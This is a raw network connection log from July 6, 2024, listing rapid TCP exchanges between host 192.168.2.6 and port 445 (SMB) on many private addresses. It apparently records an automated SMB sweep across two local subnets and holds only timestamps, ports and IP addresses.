Jul 6, 2024 14:11:34.551964045 CEST	52263	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:34.551964045 CEST	52263	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:34.552753925 CEST	52260	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:34.552753925 CEST	52260	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:34.555202961 CEST	52265	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:34.555919886 CEST	445	52261	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:34.558438063 CEST	445	52260	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:34.558715105 CEST	52260	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:34.558756113 CEST	445	52263	192.168.3.194	192.168.2.6
Jul 6, 2024 14:11:34.558808088 CEST	52263	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:34.559740067 CEST	445	52260	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:34.560008049 CEST	445	52265	192.168.3.195	192.168.2.6
Jul 6, 2024 14:11:34.560064077 CEST	52265	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:34.560133934 CEST	52265	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:34.565068007 CEST	445	52265	192.168.3.195	192.168.2.6
Jul 6, 2024 14:11:34.567307949 CEST	52265	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:34.568377018 CEST	445	52260	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:34.569545031 CEST	52266	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:34.570059061 CEST	52269	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:34.570883989 CEST	52267	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:34.571674109 CEST	52270	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:34.571976900 CEST	52268	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:34.575839996 CEST	445	52267	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:34.575918913 CEST	52267	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:34.576729059 CEST	445	52266	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:34.576875925 CEST	445	52268	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:34.577011108 CEST	52266	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:34.577011108 CEST	52268	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:34.580063105 CEST	52267	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:34.580118895 CEST	52266	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:34.580212116 CEST	52268	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:34.581043959 CEST	445	52267	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:34.581151962 CEST	52267	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:34.581361055 CEST	445	52269	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:34.582017899 CEST	445	52266	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:34.582463026 CEST	445	52268	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:34.583180904 CEST	445	52270	192.168.3.196	192.168.2.6
Jul 6, 2024 14:11:34.583234072 CEST	52270	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:34.583327055 CEST	52270	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:34.584896088 CEST	445	52267	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:34.585092068 CEST	445	52266	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:34.585459948 CEST	445	52268	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:34.585947990 CEST	445	52267	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:34.586623907 CEST	52266	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:34.586623907 CEST	52268	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:34.586623907 CEST	52273	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:34.588182926 CEST	52274	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:34.588196039 CEST	445	52270	192.168.3.196	192.168.2.6
Jul 6, 2024 14:11:34.589562893 CEST	52269	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:34.589562893 CEST	52269	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:34.589564085 CEST	52272	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:34.591609955 CEST	445	52266	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:34.592674971 CEST	52270	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:34.592735052 CEST	445	52268	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:34.593787909 CEST	445	52273	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:34.594402075 CEST	445	52269	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:34.594409943 CEST	445	52269	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:34.594883919 CEST	52273	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:34.594883919 CEST	52273	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:34.597150087 CEST	445	52274	192.168.3.197	192.168.2.6
Jul 6, 2024 14:11:34.597207069 CEST	52274	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:34.597316027 CEST	52274	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:34.601059914 CEST	445	52272	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:34.601438046 CEST	445	52273	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:34.601445913 CEST	445	52273	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:34.601521969 CEST	52277	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:34.601790905 CEST	52272	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:34.601790905 CEST	52272	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:34.602504015 CEST	445	52274	192.168.3.197	192.168.2.6
Jul 6, 2024 14:11:34.603900909 CEST	52280	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:34.603902102 CEST	52274	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:34.605946064 CEST	52276	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:34.605946064 CEST	52278	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:34.608774900 CEST	445	52277	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:34.608828068 CEST	445	52280	192.168.3.198	192.168.2.6
Jul 6, 2024 14:11:34.609566927 CEST	52277	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:34.609566927 CEST	52280	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:34.609568119 CEST	52280	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:34.609568119 CEST	52277	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:34.610738039 CEST	445	52276	192.168.3.71	192.168.2.6
Jul 6, 2024 14:11:34.610960960 CEST	445	52278	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:34.613333941 CEST	52276	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:34.613333941 CEST	52276	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:34.613333941 CEST	52278	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:34.613333941 CEST	52278	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:34.614481926 CEST	445	52277	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:34.614881992 CEST	445	52277	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:34.615238905 CEST	445	52280	192.168.3.198	192.168.2.6
Jul 6, 2024 14:11:34.615286112 CEST	52280	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:34.615745068 CEST	445	52272	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:34.616595984 CEST	445	52272	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:34.616960049 CEST	52272	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:34.617197037 CEST	52282	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:34.621078014 CEST	445	52276	192.168.3.71	192.168.2.6
Jul 6, 2024 14:11:34.621093988 CEST	445	52278	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:34.621167898 CEST	445	52276	192.168.3.71	192.168.2.6
Jul 6, 2024 14:11:34.621596098 CEST	445	52278	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:34.621998072 CEST	445	52272	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:34.622030020 CEST	445	52282	192.168.3.199	192.168.2.6
Jul 6, 2024 14:11:34.622092009 CEST	52282	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:34.622170925 CEST	52282	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:34.627829075 CEST	445	52282	192.168.3.199	192.168.2.6
Jul 6, 2024 14:11:34.627886057 CEST	52282	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:34.631932974 CEST	52283	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:34.632853031 CEST	52284	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:34.633304119 CEST	52287	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:34.634821892 CEST	52285	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:34.641712904 CEST	445	52283	192.168.3.72	192.168.2.6
Jul 6, 2024 14:11:34.641844034 CEST	52283	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:34.641844034 CEST	52283	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:34.643691063 CEST	445	52287	192.168.3.200	192.168.2.6
Jul 6, 2024 14:11:34.643754005 CEST	52287	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:34.643866062 CEST	52287	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:34.644162893 CEST	445	52285	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:34.644220114 CEST	52285	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:34.644301891 CEST	52285	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:34.645159006 CEST	445	52284	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:34.645205021 CEST	52284	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:34.645261049 CEST	52284	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:34.647613049 CEST	52288	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:34.647671938 CEST	445	52283	192.168.3.72	192.168.2.6
Jul 6, 2024 14:11:34.647742033 CEST	52289	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:34.647821903 CEST	52290	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:34.647928953 CEST	52291	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:34.648083925 CEST	445	52283	192.168.3.72	192.168.2.6
Jul 6, 2024 14:11:34.649774075 CEST	445	52287	192.168.3.200	192.168.2.6
Jul 6, 2024 14:11:34.650172949 CEST	52293	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:34.650556087 CEST	445	52285	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:34.651495934 CEST	445	52284	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:34.651662111 CEST	52287	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:34.651777029 CEST	445	52284	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:34.652127028 CEST	52284	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:34.652549028 CEST	445	52288	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:34.652616024 CEST	52288	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:34.652704000 CEST	52288	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:34.652997017 CEST	445	52289	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:34.653054953 CEST	445	52290	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:34.653054953 CEST	52289	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:34.653064966 CEST	445	52291	192.168.3.73	192.168.2.6
Jul 6, 2024 14:11:34.653384924 CEST	445	52285	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:34.654969931 CEST	52291	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:34.654969931 CEST	52291	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:34.655267954 CEST	52285	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:34.656137943 CEST	52290	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:34.656137943 CEST	52290	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:34.657751083 CEST	445	52284	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:34.658540964 CEST	445	52288	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:34.658617020 CEST	52288	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:34.659178972 CEST	445	52288	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:34.659322977 CEST	445	52289	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:34.659622908 CEST	52289	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:34.660545111 CEST	445	52293	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:34.660635948 CEST	52293	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:34.660787106 CEST	445	52291	192.168.3.73	192.168.2.6
Jul 6, 2024 14:11:34.660795927 CEST	445	52291	192.168.3.73	192.168.2.6
Jul 6, 2024 14:11:34.661174059 CEST	445	52285	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:34.661935091 CEST	445	52290	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:34.661983013 CEST	52290	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:34.662305117 CEST	445	52290	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:34.663026094 CEST	52293	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:34.664185047 CEST	52295	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:34.664205074 CEST	445	52288	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:34.666778088 CEST	445	52293	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:34.666845083 CEST	52293	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:34.667160034 CEST	445	52290	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:34.668102980 CEST	445	52293	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:34.669215918 CEST	445	52295	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:34.669281006 CEST	52295	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:34.674261093 CEST	445	52295	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:34.674316883 CEST	52295	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:34.678656101 CEST	52295	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:34.678884029 CEST	52296	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:34.678966999 CEST	52297	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:34.679044008 CEST	52298	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:34.680748940 CEST	52300	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:34.684348106 CEST	445	52295	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:34.684668064 CEST	445	52296	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:34.684757948 CEST	52296	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:34.684818029 CEST	52296	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:34.684927940 CEST	445	52297	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:34.684978962 CEST	52297	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:34.684982061 CEST	445	52298	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:34.685031891 CEST	52298	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:34.685081959 CEST	52297	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:34.686146021 CEST	445	52300	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:34.686201096 CEST	52300	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:34.686292887 CEST	52300	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:34.689621925 CEST	445	52296	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:34.690063953 CEST	445	52296	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:34.690244913 CEST	445	52297	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:34.690290928 CEST	52297	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:34.690890074 CEST	445	52297	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:34.690995932 CEST	445	52298	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:34.691025019 CEST	445	52300	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:34.691062927 CEST	52298	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:34.691068888 CEST	52300	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:34.691871881 CEST	445	52300	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:34.694585085 CEST	52301	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:34.694781065 CEST	52302	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:34.695785046 CEST	52304	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:34.697617054 CEST	445	52297	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:34.700207949 CEST	445	52301	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:34.700264931 CEST	52301	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:34.700345993 CEST	52301	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:34.701070070 CEST	445	52302	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:34.701122999 CEST	52302	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:34.701181889 CEST	52302	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:34.702924967 CEST	445	52304	192.168.3.204	192.168.2.6
Jul 6, 2024 14:11:34.702982903 CEST	52304	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:34.703059912 CEST	52304	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:34.705640078 CEST	445	52301	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:34.705781937 CEST	445	52301	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:34.707231998 CEST	445	52302	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:34.707700968 CEST	445	52302	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:34.709671974 CEST	445	52304	192.168.3.204	192.168.2.6
Jul 6, 2024 14:11:34.709717989 CEST	52304	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:34.710128069 CEST	52305	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:34.711160898 CEST	52307	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:34.717533112 CEST	445	52305	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:34.717602968 CEST	52305	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:34.717653990 CEST	52305	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:34.719306946 CEST	445	52307	192.168.3.205	192.168.2.6
Jul 6, 2024 14:11:34.719355106 CEST	52307	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:34.719444036 CEST	52307	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:34.725620031 CEST	445	52305	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:34.725925922 CEST	445	52305	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:34.726515055 CEST	52308	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:34.726829052 CEST	445	52307	192.168.3.205	192.168.2.6
Jul 6, 2024 14:11:34.726886988 CEST	52307	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:34.733520985 CEST	445	52308	192.168.3.206	192.168.2.6
Jul 6, 2024 14:11:34.733592033 CEST	52308	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:34.733683109 CEST	52308	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:34.738655090 CEST	445	52308	192.168.3.206	192.168.2.6
Jul 6, 2024 14:11:34.738708973 CEST	52308	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:34.741288900 CEST	52310	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:34.741370916 CEST	52311	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:34.741430998 CEST	52312	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:34.741552114 CEST	52313	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:34.741605997 CEST	52314	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:34.741745949 CEST	52315	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:34.742662907 CEST	52317	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:34.746094942 CEST	445	52310	192.168.3.79	192.168.2.6
Jul 6, 2024 14:11:34.746208906 CEST	445	52311	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:34.746268988 CEST	445	52312	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:34.746272087 CEST	52311	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:34.746309996 CEST	52310	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:34.746309996 CEST	52310	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:34.746372938 CEST	52311	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:34.746635914 CEST	52312	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:34.746635914 CEST	52312	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:34.746711016 CEST	445	52313	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:34.746721983 CEST	445	52314	192.168.3.80	192.168.2.6
Jul 6, 2024 14:11:34.746732950 CEST	445	52315	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:34.746782064 CEST	52313	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:34.746800900 CEST	52314	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:34.746800900 CEST	52315	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:34.746886015 CEST	52315	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:34.746886969 CEST	52314	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:34.746915102 CEST	52313	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:34.747607946 CEST	445	52317	192.168.3.207	192.168.2.6
Jul 6, 2024 14:11:34.748193979 CEST	52317	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:34.748193979 CEST	52317	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:34.751336098 CEST	445	52311	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:34.751466990 CEST	445	52310	192.168.3.79	192.168.2.6
Jul 6, 2024 14:11:34.751539946 CEST	445	52312	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:34.751750946 CEST	445	52315	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:34.751930952 CEST	445	52314	192.168.3.80	192.168.2.6
Jul 6, 2024 14:11:34.752140045 CEST	445	52313	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:34.752485991 CEST	445	52310	192.168.3.79	192.168.2.6
Jul 6, 2024 14:11:34.752721071 CEST	445	52312	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:34.753320932 CEST	445	52313	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:34.753658056 CEST	445	52315	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:34.753668070 CEST	445	52314	192.168.3.80	192.168.2.6
Jul 6, 2024 14:11:34.753937960 CEST	445	52317	192.168.3.207	192.168.2.6
Jul 6, 2024 14:11:34.754010916 CEST	52317	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:34.756957054 CEST	52318	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:34.757935047 CEST	52320	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:34.762274981 CEST	445	52318	192.168.3.81	192.168.2.6
Jul 6, 2024 14:11:34.762341976 CEST	52318	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:34.762408018 CEST	52318	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:34.763283014 CEST	445	52320	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:34.763341904 CEST	52320	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:34.763422012 CEST	52320	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:34.767469883 CEST	445	52318	192.168.3.81	192.168.2.6
Jul 6, 2024 14:11:34.767740011 CEST	445	52318	192.168.3.81	192.168.2.6
Jul 6, 2024 14:11:34.768433094 CEST	445	52320	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:34.769032955 CEST	445	52320	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:34.769187927 CEST	52320	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:34.773587942 CEST	52321	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:34.778449059 CEST	445	52321	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:34.779634953 CEST	52321	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:34.784818888 CEST	445	52321	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:34.784903049 CEST	52321	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:34.788012981 CEST	52321	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:34.788326025 CEST	52323	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:34.788878918 CEST	52324	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:34.790083885 CEST	52327	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:34.792468071 CEST	52325	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:34.792777061 CEST	445	52321	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:34.793615103 CEST	445	52323	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:34.794656038 CEST	52323	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:34.794656038 CEST	52323	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:34.795011044 CEST	445	52327	192.168.3.210	192.168.2.6
Jul 6, 2024 14:11:34.795083046 CEST	52327	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:34.795159101 CEST	52327	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:34.797658920 CEST	445	52325	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:34.798038006 CEST	445	52324	192.168.3.82	192.168.2.6
Jul 6, 2024 14:11:34.798085928 CEST	52324	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:34.798146009 CEST	52324	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:34.798623085 CEST	52325	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:34.798623085 CEST	52325	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:34.800364971 CEST	445	52323	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:34.800476074 CEST	445	52323	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:34.800896883 CEST	445	52327	192.168.3.210	192.168.2.6
Jul 6, 2024 14:11:34.800945044 CEST	52327	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:34.803092003 CEST	445	52324	192.168.3.82	192.168.2.6
Jul 6, 2024 14:11:34.803524971 CEST	445	52324	192.168.3.82	192.168.2.6
Jul 6, 2024 14:11:34.803543091 CEST	445	52325	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:34.803741932 CEST	445	52325	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:34.804541111 CEST	52328	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:34.804546118 CEST	52329	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:34.804642916 CEST	52330	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:34.805701971 CEST	52332	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:34.809500933 CEST	445	52329	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:34.809734106 CEST	445	52330	192.168.3.84	192.168.2.6
Jul 6, 2024 14:11:34.809828997 CEST	52330	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:34.809899092 CEST	52330	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:34.810514927 CEST	445	52332	192.168.3.211	192.168.2.6
Jul 6, 2024 14:11:34.810957909 CEST	445	52328	192.168.3.83	192.168.2.6
Jul 6, 2024 14:11:34.811060905 CEST	52329	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:34.811060905 CEST	52329	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:34.813951015 CEST	52328	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:34.813951015 CEST	52328	445	192.168.2.6	192.168.3.83
